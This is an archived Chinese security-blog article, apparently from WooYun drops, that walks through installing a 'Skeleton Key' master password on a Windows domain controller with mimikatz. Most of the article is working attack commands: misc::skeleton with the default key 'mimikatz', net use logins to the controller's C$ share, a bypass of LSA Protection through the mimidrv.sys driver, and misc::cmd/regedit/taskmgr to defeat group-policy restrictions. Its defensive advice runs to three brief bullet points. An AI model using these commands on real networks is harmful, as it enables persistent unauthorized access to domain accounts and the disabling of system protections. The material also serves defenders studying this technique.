
        <html>
			<head>
			     <title>域渗透——Skeleton Key - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/12670">http://drops.wooyun.org/tips/12670</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>上篇介绍了利用SSP来维持域控权限，美中不足在于其需要域控重启才能生效，而在众多的域渗透方法中，当然存在不需要域控重启即能生效的方法，所以这次就介绍其中的一个方法——Skeleton Key</p>

<p><img src="http://static.wooyun.org//drops/20160226/2016022606135645700130.jpg" alt="Alt text" /></p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<blockquote>
  <p>Skeleton Key被安装在64位的域控服务器上<br />
  支持Windows Server2003—Windows Server2012 R2<br />
  能够让所有域用户使用同一个万能密码进行登录<br />
  现有的所有域用户使用原密码仍能继续登录<br />
  重启后失效<br />
  Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key</p>
</blockquote>

<p><strong>参考代码：</strong><br />
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c">https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl&#95;m&#95;misc.c</a></p>

<h1>0x02 实际测试</h1>

<hr />

<p><strong>测试环境</strong></p>

<pre><code>域控：Server 2008 R2 x64
域内主机： Win7 x64
</code></pre>

<h3>1、域内主机使用正确密码登录域控</h3>

<p>用户名：<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="8eefcefaebfdfaa0e2e1edefe2">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script><br />
密码：12345678!Q</p>

<p><strong>cmd命令：</strong></p>

<pre><code>#!bash
net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="1e7f5e6a7b6d6a3072717d7f72">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
dir \\WIN-8VVLRPIAJB0.test.local\c$
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606135871933278.png" alt="Alt text" /></p>

<h3>2、在域控安装Skeleton Key</h3>

<p><strong>mimikatz命令：</strong></p>

<pre><code>#!bash
privilege::debug
misc::skeleton
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606135966399349.png" alt="Alt text" /></p>

<p><strong>注：</strong><br />
64系统需要使用64位的mimikatz</p>

<h3>3、域内主机使用Skeleton Key登录域控</h3>

<p><strong>（1）</strong>清除net use连接</p>

<p><strong>cmd命令：</strong></p>

<pre><code>#!bash
net use */del /y
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606140164805445.png" alt="Alt text" /></p>

<p><strong>（2）</strong>使用Skeleton Key登录</p>

<p>mimikatz的默认Skeleton Key设置为mimikatz</p>

<p><strong>cmd命令：</strong></p>

<pre><code>#!bash
net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="dabb9aaebfa9aef4b6b5b9bbb6">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
dir \\WIN-8VVLRPIAJB0.test.local\c$
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606140376323538.png" alt="Alt text" /></p>

<p><strong>（3）</strong>权限测试</p>

<p><strong>a、</strong>使用域内不存在的用户+Skeleton Key登录</p>

<p><strong>b、</strong>使用域内普通权限用户+Skeleton Key登录</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606140483069631.png" alt="Alt text" /></p>

<p>发现使用域内不存在的用户无法登录</p>

<p>使用域内普通权限用户无法访问域控</p>

<p><strong>结论：</strong> Skeleton Key只是给所有账户添加了一个万能密码，无法修改账户的权限</p>

<h3>4、LSA Protection</h3>

<p>微软在2014年3月12日添加了LSA保护策略，用来防止对进程lsass.exe的代码注入，这样一来就无法使用mimikatz对lsass.exe进行注入，相关操作也会失败。</p>

<p><strong>适用系统：</strong></p>

<pre><code>Windows 8.1
Windows Server 2012 R2
</code></pre>

<p>所以接下来换用Windows Server 2012 R2 x64进行测试</p>

<p><strong>（1）</strong>配置LSA Protection</p>

<p>注册表位置：<br />
<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa</code></p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606140610447730.png" alt="Alt text" /></p>

<p>新建-<code>DWORD</code>值，名称为<code>RunAsPPL</code>,数值为<code>00000001</code></p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022606140713044827.png" alt="Alt text" /></p>

<p>重启系统</p>

<p><strong>（2）</strong>测试Skeleton Key</p>

<p><strong>mimikatz命令：</strong></p>

<pre><code>#!bash
privilege::debug
misc::skeleton
</code></pre>

<p>此时失败 <img src="http://static.wooyun.org//drops/20160226/2016022606140916330927.png" alt="Alt text" /></p>

<p><strong>（3）</strong>绕过LSA Protection</p>

<p>mimikatz早在2013年10月就已支持绕过LSA Protection</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/20160226061410196101028.png" alt="Alt text" /></p>

<p><strong>参考源码：</strong><br />
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c">https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl&#95;m&#95;kernel.c</a></p>

<p><strong>注：</strong><br />
该功能需要mimidrv.sys文件</p>

<p><img src="http://static.wooyun.org//drops/20160226/20160226061411707861130.png" alt="Alt text" /></p>

<p><strong>mimikatz命令：</strong></p>

<pre><code>#!bash
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
</code></pre>

<p>如图，导入驱动文件mimidrv.sys后，绕过LSA Protection，操作成功</p>

<p><img src="http://static.wooyun.org//drops/20160226/20160226061413622701224.png" alt="Alt text" /></p>

<h1>0x03 补充</h1>

<hr />

<p>分享一些常见问题的解决方法，管理员常常会禁用一些重要程序的运行，比如cmd、regedit、taskmgr</p>

<h3>1、如何禁用cmd、regedit、taskmgr</h3>

<p>输出<code>gpedit.msc</code>进入本地组策略编辑器</p>

<p>本地计算机测试-用户配置-管理模板-系统</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/20160226061415861991323.png" alt="Alt text" /></p>

<p><strong>禁用cmd：</strong></p>

<p>选择"阻止访问命令提示符"-启用 <img src="http://static.wooyun.org//drops/20160226/20160226061416263131419.png" alt="Alt text" /></p>

<p><strong>禁用regedit：</strong></p>

<p>选择"阻止访问注册表编辑工具"-启用 <img src="http://static.wooyun.org//drops/20160226/20160226061417221121519.png" alt="Alt text" /></p>

<p><strong>禁用taskmgr:</strong></p>

<p>选择"不要运行指定的Windows应用程序"-不允许的应用程序列表-填入taskmgr.exe-启用 <img src="http://static.wooyun.org//drops/20160226/20160226061419945231617.png" alt="Alt text" /></p>

<p><strong>测试：</strong></p>

<p><img src="http://static.wooyun.org//drops/20160226/20160226061421968601713.png" alt="Alt text" /></p>

<p>如图cmd、regedit、taskmgr均已被禁用</p>

<h3>2、绕过</h3>

<p><strong>mimikatz命令：</strong></p>

<pre><code>#!bash
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
</code></pre>

<p>如图，成功执行，绕过限制</p>

<p><img src="http://static.wooyun.org//drops/20160226/20160226061422633071812.png" alt="Alt text" /></p>

<h1>0x04 防御</h1>

<hr />

<ul>
<li>保护域控权限 </li>
<li>查看域控日志 </li>
<li>对照攻击方法寻找入侵痕迹</li>
</ul>

<h1>0x05 小结</h1>

<hr />

<p>这次不仅测试了<code>Skeleton Key</code>，还介绍了<code>mimikatz</code>的一些隐藏功能，而这些功能并未在其官方说明文档中出现。</p>

<p>其实通过研究<code>mimikatz</code>的源码，你会发现还有许多的隐藏功能值得挖掘利用。</p>

<p>还是那句老话，只有了解如何攻击才能更好的防御，希望本文无论是对渗透攻击还是防御，均有帮助。</p>

<h1>0x06 参考资料</h1>

<hr />

<ul>
<li><a href="https://adsecurity.org/?p=1275">https://adsecurity.org/?p=1275</a></li>
<li><a href="https://adsecurity.org/?p=1255">https://adsecurity.org/?p=1255</a></li>
<li><a href="http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/">http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/</a></li>
<li><a href="https://technet.microsoft.com/en-us/library/dn408187.aspx">https://technet.microsoft.com/en-us/library/dn408187.aspx</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4">https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c">https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl&#95;m&#95;kernel.c</a></li>
</ul>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          